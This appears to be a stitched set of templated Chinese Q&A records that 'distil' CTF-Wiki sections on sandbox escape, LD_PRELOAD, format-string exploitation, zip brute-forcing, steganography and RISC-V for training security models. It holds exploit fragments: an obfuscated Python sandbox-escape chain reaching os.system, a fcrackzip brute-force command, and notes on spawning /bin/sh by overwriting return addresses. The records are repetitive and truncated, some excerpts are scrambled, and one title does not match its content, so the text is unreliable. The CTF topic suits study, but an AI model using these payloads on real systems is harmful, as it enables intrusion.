章节：ICS_CTF 竞赛 > 工控编程和组态（Program） > 题目示例
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“题目示例”展开。
- 题目名字：PLC梯形图计算 这类题目主要考察做题者对于相应产品（PLC、RTU、上位机软件）的编程软件、编程语言及流程的熟悉程度，当拿到题目时需要有相应的支持软件可以打开题目。
- 例如下图是一道西门子 PLC 的编程题目，flag 为梯形图的最终输出值，所以我们使用博图软件打开题目： [图片: plc;
- 文件: ./figure/PLC_1.png] 这类题目的做法一般有两种： 1. 题目代码模拟运行，然后直接查看相应位置的值，但是一般会遇到很多错误难以直接运行；
- 以上是我参加工控比赛的一些心得体会，希望能为后来参赛的小伙伴多些指导。

关键术语：
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目示例

ICS_CTF 竞赛
工控编程和组态（Program）
题目示例

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/usb.md` 中的章节「keep a list of the N best things we have seen, discard anything else」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/usb.md`
标题：USB
章节：keep a list of the N best things we have seen, discard anything else
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“keep a list of the N best things we have seen, discard anything else”展开。
- class nbest(object): def __init__(self,N=1000): self.store = [] self.N = N
- def add(self,item): self.store.append(item) self.store.sort(reverse=True) self.store = self.store[:self.N]
- def __getitem__(self,k): return self.store[k]
- def __len__(self): return len(self.store)
- init N=100 for KLEN in range(3,20): rec = nbest(N) for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3): key = ''.join(i) + 'A'*(KLEN-len(i)) pt = Autokey(key).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += trigram.score(pt[j:j+3]) r...

关键术语：
- misc
- traffic
- protocols
- usb.md

代码/命令片段线索：
- plain: 3 行，首行 `跑出来的结果如下：`
- plain: 1 行，首行 `我们把字段进行分割看：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

keep a list of the N best things we have seen, discard anything else

USB


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「创建对象并利用 Python 操作字符串的特性」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`
标题：Python 沙盒
章节：Python 沙盒 > 例子 > 创建对象并利用 Python 操作字符串的特性
路径分类：pwn / pwn/sandbox/python
分块：1/1

核心知识点：
- 本节主题围绕“创建对象并利用 Python 操作字符串的特性”展开。
- ``py x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__'sy'+'stem' x.__getattribute__("func_global"+"s")['linecache'].__dict_...

关键术语：
- 漏洞利用
- pwn
- sandbox
- python
- python-sandbox-escape.md
- code:py

代码/命令片段线索：
- py: 4 行，首行 `x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

创建对象并利用 Python 操作字符串的特性

Python 沙盒
例子
创建对象并利用 Python 操作字符串的特性

漏洞利用 pwn sandbox python python-sandbox-escape.md code:py

Python 沙盒


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「处理结果」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > 自定义协议 > 例题分析 > 处理结果
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“处理结果”展开。
- ev3 scanner 第二题的做法与第一题基本相同，难度增加的地方在于： - 发送的命令不再单一，包括读取传感器信息、控制 ev3 运动 - 回复也包含信息，主要是传感器读取的内容 - 函数的参数更复杂，解析难度更大 - 解析命令得到的结果需要更多处理 ev3 scanner 此处不再提供详细方法，可作为练习加深对这一类型题目的理解。
- 理解数据内容后，通过脚本提取所有命令并解析参数，需要注意单个参数的字节数不固定。
- 得到所有命令的参数后，可以将每个字符其按照坐标绘制在屏幕上。
- 较简单的做法是先按 X 后按 Y 排序，直接输出即可。

关键术语：
- misc
- traffic
- data.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

处理结果

数据提取 自定义协议 例题分析 处理结果

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/ld_preload.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/ld_preload.md`
标题：LD_PRELOAD
章节：LD_PRELOAD > 原理
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 预装载意味着会它的函数会比其他库文件中的同名函数先于调用, 也就使得库函数可以被阻截或替换掉. 多个共享链接库文件的路径可以用冒号或空格进行区分. 显然不会受到LD_PRELOAD影响的也就只有那些静态链接的程序了. 当然为避免用于恶意攻击, 在ruid !
- 正常情况下, Linux 动态加载器ld-linux(见man手册ld-linux(8))会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD是一个可选的环境变量, 包含一个或多个指向共享链接库文件的路径. 加载器会先于C语言运行库之前载入LD_PRELOAD指定的共享链接库，也就是所谓的预装载(preload)。
- = euid的情况下加载器是不会使用LD_PRELOAD进行预装载的. 更多阅读: https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html#ixzz569cbyze4

关键术语：
- 漏洞利用
- reverse
- platform
- linux
- ld-preload.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

漏洞利用 reverse platform linux ld-preload.md

LD_PRELOAD


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/png.md` 中的章节「LSB」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/png.md`
标题：PNG
章节：PNG > LSB
路径分类：misc / misc/picture/png.md
分块：1/1

核心知识点：
- 本节主题围绕“LSB”展开。
- 而人类的眼睛可以区分约1000万种不同的颜色，意味着人类的眼睛无法区分余下的颜色大约有6777216种。
- LSB 隐写就是修改 RGB 颜色分量的最低二进制位（LSB），每个颜色会有 8 bit，LSB 隐写就是修改了像数中的最低的 1 bit，而人类的眼睛不会注意到这前后的变化，每个像素可以携带 3 比特的信息。
- [图片文件: ./figure/lsb.jpg] 如果是要寻找这种 LSB 隐藏痕迹的话，有一个工具 Stegsolve 是个神器，可以来辅助我们进行分析。
- 通过下方的按钮可以观察每个通道的信息，例如查看 R 通道的最低位第 8 位平面的信息。
- PNG 文件中的图像像数一般是由 RGB 三原色（红绿蓝）组成，每一种颜色占用 8 位，取值范围为 0x00 至 0xFF，即有 256 种颜色，一共包含了 256 的 3 次方的颜色，即 16777216 种颜色。

关键术语：
- 密码学
- misc
- picture
- png.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

LSB

PNG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（2）CSR 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x02 寄存器 > （2）CSR 寄存器
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（2）CSR 寄存器”展开。
- CSR（Control and Status Register）是用于控制、状态监测和配置处理器运行的重要寄存器。
- RISC-V 中 CSR 的地址空间为 12 位，共支持 4096 个 CSR 寄存器。
- 按照特权级别分类，CSR 分为用户态（u）、监督态（s）、机器态（m*）等。
- 在简化实现中，仅支持机器态（M-mode）的 CSR 是常见情况。

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（2）CSR 寄存器

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「参阅」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 参阅
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“参阅”展开。
- RISC-V ELF psABI 文件（riscv-non-isa/riscv-elf-psabi-doc） - RISC-V 指令集架构官方手册（riscv/riscv-isa-manual）

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参阅

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md` 中的章节「测试支持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md`
标题：测试支持
章节：测试支持
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“测试支持”展开。
- static void alloc_perturb(char p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte ^ 0xff, n);
- } static void free_perturb(char p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte, n);
- ``c static int perturb_byte;
- 下面的代码用于支持测试，默认情况下 perturb_byte 是0。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 7 行，首行 `static int perturb_byte;`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

测试支持

测试支持


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「配置 venv python 环境（可选）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 配置 venv python 环境（可选）
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“配置 venv python 环境（可选）”展开。
- ` 对于这种情况，我们可以选择使用 venv 模块创建“虚拟环境”。
- 我们可以通过如下命令创建一个新的虚拟环境（若路径不存在，则将被创建）： `shell python3 -m venv 自定义的venv文件夹路径 ` 完成创建之后，我们便可以通过 source 命令进入到 venv 中，请根据你所使用的 shell 进行选择其中之一： `shell source 自定义的venv文件夹路径/bin/activate # for bash source 自定义的venv文件夹路径/bin/activate.fish # for fish source 自定义的venv文件夹路径...
- If you wish to install a non-rpm packaged Python package, create a virtual environment using python3.11 -m venv path/to/venv.
- Then use path/to/venv/bin/python and path/to/venv/bin/pip.
- If you wish to install a non-rpm packaged Python application, it may be easiest to use pipx install xyz, which will manage a virtual environment for you.

关键术语：
- pwn
- linux
- user-mode
- environment.md
- code:shell

代码/命令片段线索：
- plain: 12 行，首行 `error: externally-managed-environment`
- shell: 1 行，首行 `python3 -m venv 自定义的venv文件夹路径`
- shell: 3 行，首行 `source 自定义的venv文件夹路径/bin/activate # for bash`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

配置 venv python 环境（可选）

pwn-related tools
在本地直接搭建 CTF Pwn 做题环境
配置 venv python 环境（可选）

pwn linux user-mode environment.md code:shell

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「tshark」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > tshark
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- tshark作为wireshark的命令行版,高效快捷是它的优点,配合其余命令行工具(awk,grep)等灵活使用,可以快速定位,提取数据从而省去了繁杂的脚本编写 再看Google CTF 2016 Forensic-200这一题,可以通过tshark迅速完成解题 ``shll what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt what@kali:/tmp$ # awk -F: 'function com...
- y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' data.txt > data3.txt what@kali:/tmp$ gnuplot > plot "data3.txt" `` - Step 1 鼠标协议中数据提取 - Step 2 通过awk进行位置坐标转换 - Step 3 形成图形
- return v}{x+=comp(strtonum("0x"$2));

关键术语：
- misc
- traffic
- data.md
- code:shll

代码/命令片段线索：
- shll: 4 行，首行 `what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tshark

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/archive/zip.md` 中的章节「爆破」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/archive/zip.md`
标题：ZIP 格式
章节：ZIP 格式 > 主要攻击 > 爆破
路径分类：misc / misc/archive/zip.md
分块：1/1

核心知识点：
- 本节主题围绕“爆破”展开。
- Linux 下的命令行工具 fcrackzip ``shell # －b 指定模式为暴破，-c1指定密码类型为纯数字，其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度 root@kali:fcrackzip -b -c1 -u test.zip ``
- 这里主要介绍两款爆破使用的工具 - Windows下的神器 ARCHPR [图片文件: ./figure/1.png] 暴力枚举，跑字典，明文攻击，应有尽有。

关键术语：
- 密码学
- 漏洞利用
- misc
- archive
- zip.md
- code:shell

代码/命令片段线索：
- shell: 2 行，首行 `# －b 指定模式为暴破，-c1指定密码类型为纯数字，其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

爆破

ZIP 格式
主要攻击
爆破

ZIP 格式


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「CWE-363: Race Condition Enabling Link Following」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`
标题：Race Condition
章节：Race Condition > 形式 > CWE-367: TOCTOU Race Condition > CWE-363: Race Condition Enabling Link Following
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“CWE-363: Race Condition Enabling Link Following”展开。
- 但是如果在检查之后，真正使用文件之前，攻击者将文件修改为某个符号链接，那么程序将访问错误的文件。
- 我们可以使用 fstat 函数来读取文件的信息并把它存入到stat结构体中，然后我们可以将该信息与我们已知的信息进行比较来判断我们是否读入了正确的信息。
- 其中，stat结构体中的 st_ino 和 st_dev 变量可以唯一表示文件 - st_ino ，包含了文件的序列号，即 i-node - st_dev ，包含了文件对应的设备。
- 我们知道 Linux 中提供了两种对于文件的命名方式 - 文件路径名 - 文件描述符 但是，将这两种命名解析到相应对象上的方式有所不同 - 文件路径名在解析的时候是通过传入的路径（文件名，硬链接，软连接）间接解析的，其传入的参数并不是相应文件的真实地址(inode)。
- 而下面的函数都会使用文件名作为参数：access(), open(), creat(), mkdir(), unlink(), rmdir(), chown(), symlink(), link(), rename(), chroot(),… 那该如何避免这个问题呢？

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

CWE-363: Race Condition Enabling Link Following

Race Condition


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/encode/communication.md` 中的章节「敲击码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/encode/communication.md`
标题：通信领域常用编码
章节：通信领域常用编码 > 敲击码
路径分类：misc / misc/encode/communication.md
分块：1/1

核心知识点：
- 因该编码对信息通过使用一系列的点击声音来编码而命名，敲击码是基于 5 ×5 方格波利比奥斯方阵来实现的，不同点是是用 K 字母被整合到 C 中。
- |Tap Code|1|2|3|4|5| |--|--|--|--|--|--| |1|A|B|C/K|D|E| |2|F|G|H|I|J| |3|L|M|N|O|P| |4|Q|R|S|T|U| |5|V|W|X|Y|Z| [图片文件: ./figure/tapcode.jpg]
- 敲击码（Tap code）是一种以非常简单的方式对文本信息进行编码的方法。

关键术语：
- misc
- encode
- communication.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

敲击码

通信领域常用编码 敲击码

通信领域常用编码


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（6）跳转与链接指令（J 型、I 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （6）跳转与链接指令（J 型、I 型）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（6）跳转与链接指令（J 型、I 型）”展开。
- | 指令 | 含义 | 示例 | 说明 | |--------|----------------|----------------------|-------------------------------------| | jal | 跳转并链接（J 型）| jal x1, label | x1 = PC+4;
- PC = label（用于调用） | | jalr | 寄存器间接跳转（I 型）| jalr x1, x2, 0 | x1 = PC+4;
- PC = x2 + 0（常返回，调用函数指针）| - 若目标寄存器为 x0，表示不保存返回地址（纯跳转）。
- jal 通常用于调用函数，jalr 用于从函数返回。

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（6）跳转与链接指令（J 型、I 型）

Risc-V
0x03 常见指令
（6）跳转与链接指令（J 型、I 型）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「跳到一条指令中间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/false-disasm.md`
标题：False Disassembly
章节：False Disassembly > 跳到一条指令中间
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“跳到一条指令中间”展开。
- 最简单的方法就是利用jmp跳转到某一条指令中间执行, 也就是说真实的代码是从某条指令"之中"开始的, 但在反汇编时由于是针对整条指令而不能列出真正被运行的汇编指令代码. 说起来好像很拗口, 很难懂, 我们来看一个示例吧, 给出以下的汇编代码.
- DB 0xE9单纯只是一个数据, 也不会被执行, 而反汇编出的结果, 却将其视作一个指令, 之后的结果也因此而改变了. objdump忽略了jmp的目的地址处的代码`并直接汇编jmp后的指令, 这样我们真正的代码也就被很好地"隐藏"了起来

关键术语：
- 漏洞利用
- reverse
- platform
- linux
- false-disasm.md

代码/命令片段线索：
- plain: 5 行，首行 `start:`
- plain: 5 行，首行 `08048080 <start>:`
- plain: 4 行，首行 `08048080 <start>:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

跳到一条指令中间

漏洞利用 reverse platform linux false-disasm.md

False Disassembly


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 pwndbg」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 pwndbg
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“安装 pwndbg”展开。
- pwndbg (/paʊnˈdiˌbʌɡ/) 是一个强大的 GDB 插件，通过该插件我们可以在调试时很方便地查看运行环境以及获取堆内存布局等信息。
- pwndbg 项目自带了安装脚本，因此我们可以很方便地从源码进行安装： ``shell git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh ` 对于使用 nix 包管理器的发行版（如 NixOS），你可以通过如下命令进行安装： `shell nix shell github:pwndbg/pwndbg pwndbg ./your-binary ``

关键术语：
- 堆
- pwn
- linux
- user-mode
- environment.md
- code:shell

代码/命令片段线索：
- shell: 3 行，首行 `git clone https://github.com/pwndbg/pwndbg`
- shell: 2 行，首行 `nix shell github:pwndbg/pwndbg`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

安装 pwndbg

pwn-related tools
在本地直接搭建 CTF Pwn 做题环境
安装 pwndbg

堆 pwn linux user-mode environment.md code:shell

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/https.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/https.md`
标题：HTTPS
章节：HTTPS > 例题
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“例题”展开。
- 打开流量包发现是 SSL 加密过的数据,导入题目提供的server.key.insecure,即可解密
- ```xml GET /key.html HTTP/1.1 Host: localhost
- HTTP/1.1 200 OK Date: Fri, 20 Nov 2015 14:16:24 GMT Server: Apache/2.4.7 (Ubuntu) Last-Modified: Fri, 20 Nov 2015 14:15:54 GMT ETag: "1c-524f98378d4e1" Accept-Ranges: bytes Content-Length: 28 Content-Type: text/html

关键术语：
- misc
- traffic
- protocols
- https.md
- code:xml

代码/命令片段线索：
- xml: 11 行，首行 `GET /key.html HTTP/1.1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题

misc traffic protocols https.md code:xml

HTTPS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/summary/get-shell.md` 中的章节「system」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/summary/get-shell.md`
标题：shell 获取小结
章节：shell 获取小结 > system
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- system 的地址 - "/bin/sh"， “sh” 地址 - binary 里面是否字符串 - 考虑个人读取对应字符串 - libc 中其实是有 /bin/sh 的 在 system 获取 shell 时，一个非常好的优点在于我们只需要布置一个参数就可以了，缺点就是我们在布置参数时，可能因为破坏了环境变量而无法执行。
- 我们这里一般是执行 system("/bin/sh")，system('sh') 等函数。
- 这里我们主要需要找到一些地址，可以参考获取地址的小节。

关键术语：
- pwn
- linux
- user-mode
- summary

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

system

shell 获取小结


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「修改地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack retaddr > 例子 > 修改地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“修改地址”展开。
- 与此同时栈上，第一个元素存储的也就是上一个函数的 rbp。
- 所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。
- 0x0000000000400d74 与 0x00000000004008A6 只有低 2 字节不同，所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。
- 这里需要说明的是在某些较新的系统(如 ubuntu 18.04)上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system("/bin/sh") 处 `assembly .text:00000000004008A6 sub_4008A6 proc near .text:00000000004008A6 ;
- "/bin/sh" .text:00000000004008AF call system .text:00000000004008B4 pop rdi .text:00000000004008B5 pop rsi .text:00000000004008B6 pop rdx .text:00000000004008B7 retn ``

关键术语：
- 栈
- pwn
- linux
- user-mode
- fmtstr
- code:text
- code:assembly

代码/命令片段线索：
- text: 8 行，首行 `0x00007fffffffdb40│+0x00: 0x00007fffffffdb80 → 0x00007fffffffdc30 → 0x0000000000400eb0 → push r15 ← $rsp, $rbp`
- assembly: 10 行，首行 `.text:00000000004008A6 sub_4008A6 proc near`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

修改地址

栈 pwn linux user-mode fmtstr code:text code:assembly

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

